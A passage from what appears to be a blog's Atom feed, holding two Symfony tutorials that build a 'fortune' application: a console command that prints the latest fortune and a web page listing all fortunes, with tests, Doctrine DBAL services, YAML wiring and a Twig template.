<li><a href="http://phpfastcgi.github.io/general/2015/08/21/things-to-consider-using-phpfastcgi.html">Things to consider when developing an application with PHPFastCGI</a></li>
<li><a href="https://www.symfony.fi/entry/running-symfony-applications-with-php-pm">Running Symofny applications with PHP-PM or PHPFastCGI</a></li>
<li><a href="https://www.youtube.com/watch?v=gpNbmEnRLBU">Fabien Potencier's take on PHP</a></li>
<li><a href="http://marcjschmidt.de/blog/2016/04/16/php-high-performance-reactphp-jarves-symfony-follow-up.html">PHP High-Performance - Follow Up with Symfony/Jarves.io and PHP-PM</a></li>
<li><a href="https://mwop.net/blog/2016-04-17-react2psr7.html">Serve PSR-7 Middleware Via React</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - CLI Example]]></title>
            <link href="/2016/04/06/ultimate-symfony-cli-example.html"/>
            <updated>2016-04-06T00:00:00+01:00</updated>
            <id>/2016/04/06/ultimate-symfony-cli-example.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: Practice makes Better.</p>
</blockquote>

<p>In this guide we've explored the main standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We've also seen how HttpKernel enabled reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we've started to put all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a>.</li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a>.</li>
</ul>

<p>In this article, we're going to continue the "fortune" project by creating a
command that prints the last fortune.</p>

<blockquote>
  <p><strong>Note</strong>: To start with the same code, use the following repository:</p>

<pre><code>git clone https://github.com/gnugat-examples/fortune.git
cd fortune
composer install -o --ignore-platform-reqs
git checkout web-example
git checkout -b cli-example
</code></pre>
</blockquote>

<h2 id="create-the-command">Create the Command</h2>

<p>The CLI equivalent of a web Controller is a Command. We're first going to create
a functional test:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Command/PrintLastFortuneCommandTest.php

namespace Tests\AppBundle\Command;

use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Tester\ApplicationTester;

class PrintLastFortuneCommandTest extends \PHPUnit_Framework_TestCase
{
    private $app;

    protected function setUp()
    {
        $kernel = new \AppKernel('test', false);
        $application = new Application($kernel);
        $application-&gt;setAutoExit(false);
        $this-&gt;app = new ApplicationTester($application);
    }

    /**
     * @test
     */
    public function it_prints_last_fortune()
    {
        $input = array(
            'print-last-fortune',
        );

        $exitCode = $this-&gt;app-&gt;run($input);

        self::assertSame(0, $exitCode, $this-&gt;app-&gt;getDisplay());
    }
}
</code></pre>

<p>Successful commands always return <code>0</code> as an exit code, which is what we're going
to check in this test. Let's run the suite:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They fail, telling us to create the actual code for the command:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Command/PrintLastFortuneCommand.php

namespace AppBundle\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class PrintLastFortuneCommand extends Command
{
    protected function configure()
    {
        $this-&gt;setName('print-last-fortune');
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
    }
}
</code></pre>

<p>Since Symfony looks automatically for classes that extend <code>Command</code> in the
<code>Command</code> directory of each registered bundle, our command is now available:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>The test suite is now green. We can run it using the console:</p>

<pre><code>bin/console print-last-fortune
</code></pre>

<p>We should successfully get an empty line.</p>

<h2 id="create-the-logic">Create the logic</h2>

<p>In order to get something else than an empty line, we need to create a new use
case. It's purpose will be to convey intent (print the last fortune) and
to validate the input parameters:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Service/PrintLastFortuneTest.php

namespace Tests\AppBundle\Service;

use AppBundle\Service\PrintLastFortune;

class PrintLastFortuneTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @test
     */
    public function it_has_no_parameters()
    {
        $printLastFortune = new PrintLastFortune();
    }
}
</code></pre>

<p>Well, currently we don't have any input parameters. But if we get a new requirement
that does need input parameters, we'll be ready to validate them. For now we can
run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They fail because we need to create the actual class:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/PrintLastFortune.php

namespace AppBundle\Service;

class PrintLastFortune
{
}
</code></pre>

<p>This should fix the issue:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Now let's create Handler that will list all fortunes:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Service/PrintLastFortuneHandlerTest.php

namespace Tests\AppBundle\Service;

use AppBundle\Service\FindLastFortune;
use AppBundle\Service\PrintLastFortune;
use AppBundle\Service\PrintLastFortuneHandler;

class PrintLastFortuneHandlerTest extends \PHPUnit_Framework_TestCase
{
    const CONTENT = 'Why do witches burn?';

    private $findLastFortune;
    private $printLastFortuneHandler;

    protected function setUp()
    {
        $this-&gt;findLastFortune = $this-&gt;prophesize(FindLastFortune::class);
        $this-&gt;printLastFortuneHandler = new PrintLastFortuneHandler(
            $this-&gt;findLastFortune-&gt;reveal()
        );
    }

    /**
     * @test
     */
    public function it_prints_last_fortune()
    {
        $printLastFortune = new PrintLastFortune();
        $lastFortune = array(
            'content' =&gt; self::CONTENT,
        );

        $this-&gt;findLastFortune-&gt;findLast()-&gt;willReturn($lastFortune);

        self::assertSame($lastFortune, $this-&gt;printLastFortuneHandler-&gt;handle($printLastFortune));
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They're telling us to create <code>PrintLastFortuneHandler</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/PrintLastFortuneHandler.php

namespace AppBundle\Service;

class PrintLastFortuneHandler
{
    private $findLastFortune;

    public function __construct(FindLastFortune $findLastFortune)
    {
        $this-&gt;findLastFortune = $findLastFortune;
    }

    public function handle(PrintLastFortune $printLastFortune)
    {
        return $this-&gt;findLastFortune-&gt;findLast();
    }
}
</code></pre>

<p>This should fix this specific error:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Now our tests are telling us to create <code>FindLastFortune</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/FindLastFortune.php

namespace AppBundle\Service;

interface FindLastFortune
{
    public function findLast();
}
</code></pre>

<p>Let's see if it did the trick:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Yes it did! To sum up what we've done in this section:</p>

<ul>
<li>we've created a <code>PrintLastFortune</code> use case which could be validating input parameter,
for now it's empty and only serve us to convey intention (use case: print last fortunes)</li>
<li>we've create a <code>PrintLastFortuneHandler</code> class that calls services which will
do the actual logic</li>
<li>we've created a <code>FindLastFortune</code> interface, its implementations will find the
last fortune</li>
</ul>

<h2 id="wiring">Wiring</h2>

<p>We're going to use Doctrine DBAL to actually find all fortunes from a database.
This can be done by creating an implementation of <code>FindLastFortune</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/Bridge/DoctrineDbalFindLastFortune.php

namespace AppBundle\Service\Bridge;

use AppBundle\Service\FindLastFortune;
use Doctrine\DBAL\Driver\Connection;

class DoctrineDbalFindLastFortune implements FindLastFortune
{
    private $connection;

    public function __construct(Connection $connection)
    {
        $this-&gt;connection = $connection;
    }

    public function findLast()
    {
        $queryBuilder = $this-&gt;connection-&gt;createQueryBuilder();
        $queryBuilder-&gt;select('*');
        $queryBuilder-&gt;from('fortune');
        $queryBuilder-&gt;orderBy('id', 'DESC');
        $queryBuilder-&gt;setMaxResults(1);
        $sql = $queryBuilder-&gt;getSql();
        $parameters = $queryBuilder-&gt;getParameters();
        $statement = $this-&gt;connection-&gt;prepare($sql);
        $statement-&gt;execute($parameters);

        return $statement-&gt;fetch();
    }
}
</code></pre>

<p>This was the last class we needed to write. We can now use <code>PrintLastFortune</code>
in our command:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Command/PrintLastFortuneCommand.php

namespace AppBundle\Command;

use AppBundle\Service\PrintLastFortune;
use AppBundle\Service\PrintLastFortuneHandler;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class PrintLastFortuneCommand extends Command
{
    private $printLastFortuneHandler;

    public function __construct(PrintLastFortuneHandler $printLastFortuneHandler)
    {
        $this-&gt;printLastFortuneHandler = $printLastFortuneHandler;

        parent::__construct();
    }

    protected function configure()
    {
        $this-&gt;setName('print-last-fortune');
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $printLastFortune = new PrintLastFortune();

        $lastFortune = $this-&gt;printLastFortuneHandler-&gt;handle($printLastFortune);

        $output-&gt;writeln($lastFortune['content']);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: In the command, we extract Input parameters and options to put them
  in <code>PrintLastFortune</code> which is going to validate them. We then simply call
  <code>PrintLastFortuneHandler</code> to take care of the logic associated to <code>PrintLastFortune</code>.</p>
</blockquote>

<p>Now all that's left to do is wire everything together using Dependency Injection:</p>

<pre><code># app/config/services.yml

services:
    # Commands
    app.print_last_fortune_command:
        class: 'AppBundle\Command\PrintLastFortuneCommand'
        arguments:
            - '@app.print_last_fortune_handler'
        tags:
            - { name: console.command }

    # Controllers
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.fortune_controller:
        class: 'AppBundle\Controller\FortuneController'
        arguments:
            - '@app.list_all_fortunes_handler'
            - '@twig'

    # Handlers
    app.list_all_fortunes_handler:
        class: 'AppBundle\Service\ListAllFortunesHandler'
        arguments:
            - '@app.find_all_fortunes'

    app.print_last_fortune_handler:
        class: 'AppBundle\Service\PrintLastFortuneHandler'
        arguments:
            - '@app.find_last_fortune'

    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    # Services
    app.find_all_fortunes:
        alias: app.bridge.doctrine_dbal_find_all_fortunes

    app.bridge.doctrine_dbal_find_all_fortunes:
        class: 'AppBundle\Service\Bridge\DoctrineDbalFindAllFortunes'
        arguments:
            - '@database_connection'

    app.find_last_fortune:
        alias: app.bridge.doctrine_dbal_find_last_fortune

    app.bridge.doctrine_dbal_find_last_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalFindLastFortune'
        arguments:
            - '@database_connection'

    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'

    # Listeners
    app.json_request_content_listener:
        class: 'AppBundle\EventListener\JsonRequestContentListener'
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.exception_listener:
        class: 'AppBundle\EventListener\ExceptionListener'
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException }
</code></pre>

<p>Let's run the tests:</p>

<pre><code>rm -rf var/cache/*
./bin/console doctrine:database:drop --force
./bin/console doctrine:database:create
bin/console doctrine:query:sql 'CREATE TABLE fortune (id SERIAL, content TEXT);'
vendor/bin/phpunit
</code></pre>

<p>All green! Let's add some fortunes:</p>

<pre><code>php -S localhost:2501 -t web
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"I am sorry to have kept you waiting, but I am afraid my walk has become rather sillier recently"}'
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"Well you cannot expect to wield supreme executive power just because some watery tart threw a sword at you."}'
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"All right... all right... but apart from better sanitation, the medicine, education, wine, public order, irrigation, roads, a fresh water system, and public health ... what have the Romans ever done for us?"}'
</code></pre>

<p>We can now check our command:</p>

<pre><code>bin/console print-last-fortune
</code></pre>

<p>This time instead of an empty line, we do get the last fortune.</p>

<h2 id="conclusion">Conclusion</h2>

<p>To create a new command, we need to:</p>

<ul>
<li>create a Command class</li>
<li>register the command as a service, with a <code>console.command</code> tag</li>
</ul>

<p>The command's logic is then up to us, it doesn't have to be done in a "Symfony"
way. For example we can:</p>

<ul>
<li>extract Input parameters and put them in a class that validates them</li>
<li>pass the class to a handler that will call services to do the actual logic</li>
<li>define our services as interfaces, and then create implementations to integrate
them with third party libraries</li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Web Example]]></title>
            <link href="/2016/03/30/ultimate-symfony-web-example.html"/>
            <updated>2016-03-30T00:00:00+01:00</updated>
            <id>/2016/03/30/ultimate-symfony-web-example.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: Practice makes Better.</p>
</blockquote>

<p>In this guide we've explored the main standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We've also seen how HttpKernel enabled reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we've started to put all this knowledge in practice by creating a
"fortune" project with <a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a>.</p>

<p>In this article, we're going to continue the "fortune" project by creating a page
that lists all fortunes.</p>

<p>In the next article we'll also create for this application <a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a>.</p>

<blockquote>
  <p><strong>Note</strong>: To start with the same code, use the following repository:</p>

<pre><code>git clone https://github.com/gnugat-examples/fortune.git
cd fortune
composer install -o --ignore-platform-reqs
git checkout api-example
git chekcout -b web-example
</code></pre>
</blockquote>

<h2 id="create-the-controller">Create the Controller</h2>

<p>We'll first start by writing a functional test for our new endpoint:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Controller/FortuneControllerTest.php

namespace Tests\AppBundle\Controller;

use Symfony\Component\HttpFoundation\Request;

class FortuneControllerTest extends \PHPUnit_Framework_TestCase
{
    private $app;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', false);
    }

    /**
     * @test
     */
    public function it_lists_all_fortunes()
    {
        $request = Request::create('/');

        $response = $this-&gt;app-&gt;handle($request);

        self::assertSame(200, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }
}
</code></pre>

<p>Just like for our endpoint, we're only interested in checking the status code
of the response (<code>200</code> is successful response).</p>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They fail, with a <code>404 NOT FOUND</code> response. That's because we don't have any
controllers, so let's fix that:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/FortuneController.php

namespace AppBundle\Controller;

use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class FortuneController
{
    public function listAll(Request $request)
    {
        return new Response('', 200);
    }
}
</code></pre>

<p>After creating a controller, the next step is to configure its route:</p>

<pre><code># app/config/routing.yml

submit_new_fortunes_endpoint:
    path: /api/v1/fortunes
    defaults:
        _controller: app.api.fortune_controller:submit
    methods:
        - POST

list_all_fortunes_page:
    path: /
    defaults:
        _controller: app.fortune_controller:listAll
    methods:
        - GET
</code></pre>

<p>In this configuration, <code>_controller</code> is set to call the <code>listAll</code> method of the
<code>app.fortune_controller</code> service. Here's how to define this service:</p>

<pre><code># app/config/services.yml

services:
    # Controllers
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.fortune_controller:
        class: 'AppBundle\Controller\FortuneController'

    # Handlers
    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    # Services
    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'

    # Listeners
    app.json_request_content_listener:
        class: 'AppBundle\EventListener\JsonRequestContentListener'
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.exception_listener:
        class: 'AppBundle\EventListener\ExceptionListener'
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException }
</code></pre>

<p>Now let's try again our tests:</p>

<pre><code>rm -rf var/cache/test
vendor/bin/phpunit
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Everytime the configuration changes, we need to remove the cache.</p>
</blockquote>

<p>The test suite is now green. Let's start the server:</p>

<pre><code>rm -rf var/cache/prod
php -S localhost:2501 -t web
</code></pre>

<p>We can now visit our page: <a href="http://localhost:2501/app.php/">http://localhost:2501/app.php/</a></p>

<p>We should successfully get a blank page.</p>

<h2 id="create-the-logic">Create the logic</h2>

<p>So now we have an empty page. Let's fix it by creating a use case to list all
fortunes:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Service/ListAllFortunesTest.php

namespace Tests\AppBundle\Service;

use AppBundle\Service\ListAllFortunes;

class ListAllFortunesTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @test
     */
    public function it_has_no_parameters()
    {
        $listAllFortunes = new ListAllFortunes();
    }
}
</code></pre>

<p>We can now run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They fail because we need to create the actual class:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/ListAllFortunes.php

namespace AppBundle\Service;

class ListAllFortunes
{
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Currently the use case class has no parameters to validate.
  If new requirements come up with the need for some parameters, we're going
  to be able to check them here.</p>
</blockquote>

<p>This should fix the issue:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Now let's create Handler that will list all fortunes:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Service/ListAllFortunesHandlerTest.php

namespace Tests\AppBundle\Service;

use AppBundle\Service\FindAllFortunes;
use AppBundle\Service\ListAllFortunes;
use AppBundle\Service\ListAllFortunesHandler;

class ListAllFortunesHandlerTest extends \PHPUnit_Framework_TestCase
{
    const CONTENT = "It's just a flesh wound.";

    private $listAllFortunesHandler;
    private $findAllFortunes;

    protected function setUp()
    {
        $this-&gt;findAllFortunes = $this-&gt;prophesize(FindAllFortunes::class);
        $this-&gt;listAllFortunesHandler = new ListAllFortunesHandler(
            $this-&gt;findAllFortunes-&gt;reveal()
        );
    }

    /**
     * @test
     */
    public function it_submits_new_fortunes()
    {
        $listAllFortunes = new ListAllFortunes();

        $this-&gt;findAllFortunes-&gt;findAll()-&gt;shouldBeCalled();

        $this-&gt;listAllFortunesHandler-&gt;handle($listAllFortunes);
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They're telling us to create <code>ListAllFortunesHandler</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/ListAllFortunesHandler.php

namespace AppBundle\Service;

class ListAllFortunesHandler
{
    private $findAllFortunes;

    public function __construct(FindAllFortunes $findAllFortunes)
    {
        $this-&gt;findAllFortunes = $findAllFortunes;
    }

    public function handle(ListAllFortunes $listAllFortunes)
    {
        return $this-&gt;findAllFortunes-&gt;findAll();
    }
}
</code></pre>

<p>This should fix this specific error:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Now our tests are telling us to create <code>FindAllFortunes</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/FindAllFortunes.php

namespace AppBundle\Service;

interface FindAllFortunes
{
    public function findAll();
}
</code></pre>

<p>Let's see if it did the trick:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Yes it did! To sum up what we've done in this section:</p>

<ul>
<li>we've created a <code>ListAllFortunes</code> use case which could be validating input parameter,
for now it's empty and only serve us to convey intention (use case: list all fortunes)</li>
<li>we've create a <code>ListAllFortunesHandler</code> class that call services which will
do the actual logic</li>
<li>we've created a <code>FindAllFortunes</code> interface, its implementations will find all
fortunes</li>
</ul>

<h2 id="wiring">Wiring</h2>

<p>We're going to use Doctrine DBAL to actually find all fortunes from a database.
This can be done by creating an implementation of <code>FindAllFortunes</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/Bridge/DoctrineDbalFindAllFortunes.php

namespace AppBundle\Service\Bridge;

use AppBundle\Service\FindAllFortunes;
use Doctrine\DBAL\Driver\Connection;

class DoctrineDbalFindAllFortunes implements FindAllFortunes
{
    private $connection;

    public function __construct(Connection $connection)
    {
        $this-&gt;connection = $connection;
    }

    public function findAll()
    {
        $queryBuilder = $this-&gt;connection-&gt;createQueryBuilder();
        $queryBuilder-&gt;select('*');
        $queryBuilder-&gt;from('fortune');
        $sql = $queryBuilder-&gt;getSql();
        $parameters = $queryBuilder-&gt;getParameters();
        $statement = $this-&gt;connection-&gt;prepare($sql);
        $statement-&gt;execute($parameters);

        return $statement-&gt;fetchAll();
    }
}
</code></pre>

<p>This was the last class we needed to write. We can now use <code>ListAllFortunes</code>
in our controller:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/FortuneController.php

namespace AppBundle\Controller;

use AppBundle\Service\ListAllFortunes;
use AppBundle\Service\ListAllFortunesHandler;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class FortuneController
{
    private $listAllFortunesHandler;

    public function __construct(ListAllFortunesHandler $listAllFortunesHandler)
    {
        $this-&gt;listAllFortunesHandler = $listAllFortunesHandler;
    }

    public function listAll(Request $request)
    {
        $listAllFortunes = new ListAllFortunes(
        );
        $fortunes = $this-&gt;listAllFortunesHandler-&gt;handle($listAllFortunes);

        return new Response('', 200);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: In the controller, we extract Request (input) parameters and put them
  in <code>ListAllFortunes</code> which is going to validate them. We then simply call
  <code>ListAllFortunesHandler</code> to take care of the logic associated to <code>ListAllFortunes</code>.</p>
</blockquote>

<p>Now all that's left to do is wire everything together using Dependency Injection:</p>

<pre><code># app/config/services.yml

services:
    # Controllers
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.fortune_controller:
        class: 'AppBundle\Controller\FortuneController'
        arguments:
            - '@app.list_all_fortunes_handler'

    # Handlers
    app.list_all_fortunes_handler:
        class: 'AppBundle\Service\ListAllFortunesHandler'
        arguments:
            - '@app.find_all_fortunes'

    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    # Services
    app.find_all_fortunes:
        alias: app.bridge.doctrine_dbal_find_all_fortunes

    app.bridge.doctrine_dbal_find_all_fortunes:
        class: 'AppBundle\Service\Bridge\DoctrineDbalFindAllFortunes'
        arguments:
            - '@database_connection'

    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'

    # Listeners
    app.json_request_content_listener:
        class: 'AppBundle\EventListener\JsonRequestContentListener'
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.exception_listener:
        class: 'AppBundle\EventListener\ExceptionListener'
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException }
</code></pre>

<p>Let's run the tests:</p>

<pre><code>./bin/console doctrine:database:drop --force
./bin/console doctrine:database:create
bin/console doctrine:query:sql 'CREATE TABLE fortune (content TEXT);'
rm -rf var/cache/test
vendor/bin/phpunit
</code></pre>

<p>All green!</p>

<h2 id="view">View</h2>

<p>If we start the server and check the page, it's going to be blank. That's because
in our controlller we create a Response with empty content. Let's improve this situation:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/FortuneController.php

namespace AppBundle\Controller;

use AppBundle\Service\ListAllFortunes;
use AppBundle\Service\ListAllFortunesHandler;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class FortuneController
{
    private $listAllFortunesHandler;

    public function __construct(ListAllFortunesHandler $listAllFortunesHandler)
    {
        $this-&gt;listAllFortunesHandler = $listAllFortunesHandler;
    }

    public function listAll(Request $request)
    {
        $listAllFortunes = new ListAllFortunes(
        );
        $fortunes = $this-&gt;listAllFortunesHandler-&gt;handle($listAllFortunes);
        $fortunesHtml = '';
        foreach ($fortunes as $fortune) {
            $fortunesHtml .= "&lt;li&gt;{$fortune['content']}&lt;/li&gt;\n";
        }
        $html =&lt;&lt;&lt;HTML
&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;title&gt;Fortunes&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;ul&gt;
        $fortunesHtml
    &lt;/ul&gt;
&lt;/body&gt;
HTML
        ;

        return new Response($html, 200);
    }
}
</code></pre>

<p>Let's start the server:</p>

<pre><code>rm -rf var/cache/prod
php -S localhost:2501 -t web
</code></pre>

<p>In order to see a list of fortunes, we first need to submit some! We can use our
endpoint for this purpose:</p>

<pre><code>curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"I came here to have an argument!"}'
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"Has not got as much spam in it as spam egg sausage and spam, has it?"}'
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"The Castle of aaarrrrggh"}'
</code></pre>

<p>We can now visit our page: <a href="http://localhost:2501/app.php/">http://localhost:2501/app.php/</a></p>

<p>While it seems a bit plain (a bit of CSS, javascript and more HTML wouldn't be
too much), we do see a list of all fortunes.</p>

<p>Controllers shouldn't contain any "view" logic, let's push it to a template using
<a href="http://twig.sensiolabs.org/">Twig</a>:</p>

<p></p>

<pre><code>{# app/Resources/views/list-all-fortunes.html.twig #}
&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;title&gt;Fortunes&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;ul&gt;
        {% for fortune in fortunes %}
        &lt;li&gt;{{ fortune.content }}&lt;/li&gt;
        {% endfor %}
    &lt;/ul&gt;
&lt;/body&gt;
</code></pre>

<p></p>

<p>We now need to use Twig in the controller:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/FortuneController.php

namespace AppBundle\Controller;

use AppBundle\Service\ListAllFortunes;
use AppBundle\Service\ListAllFortunesHandler;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class FortuneController
{
    private $listAllFortunesHandler;
    private $twig;

    public function __construct(
        ListAllFortunesHandler $listAllFortunesHandler,
        \Twig_Environment $twig
    ) {
        $this-&gt;listAllFortunesHandler = $listAllFortunesHandler;
        $this-&gt;twig = $twig;
    }

    public function listAll(Request $request)
    {
        $listAllFortunes = new ListAllFortunes(
        );
        $fortunes = $this-&gt;listAllFortunesHandler-&gt;handle($listAllFortunes);
        $html = $this-&gt;twig-&gt;render('::list-all-fortunes.html.twig', array(
            'fortunes' =&gt; $fortunes,
        ));

        return new Response($html, 200);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: The first argument of <code>render</code> is the "path" to the view. This path
  contains 3 parts, separated by colons (<code>:</code>):</p>
  
  <ul>
  <li>the first part is the bundle name (by default it's <code>AppBundle</code> so we don't need to provide it)</li>
  <li>the second one is the directory from <code>Resources/views</code> (in our case it's at the root so we don't need to provide it)</li>
  <li>the template file name</li>
  </ul>
  
  <p>Some other path example: <code>FortuneBundle:Fortunes/List:all.html.twig</code>, etc.</p>
  
  <p>The second argument is an array which associates Twig variable names to their values,
  in our case we're going to have access to a <code>fortunes</code> variable in our template,
  which is going to be the content of the <code>$fortunes</code> variable from our controller.</p>
</blockquote>

<p>In order to get Twig injected in our controller, we'll update it's service configuration:</p>

<pre><code># app/config/services.yml

services:
    # Controllers
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.fortune_controller:
        class: 'AppBundle\Controller\FortuneController'
        arguments:
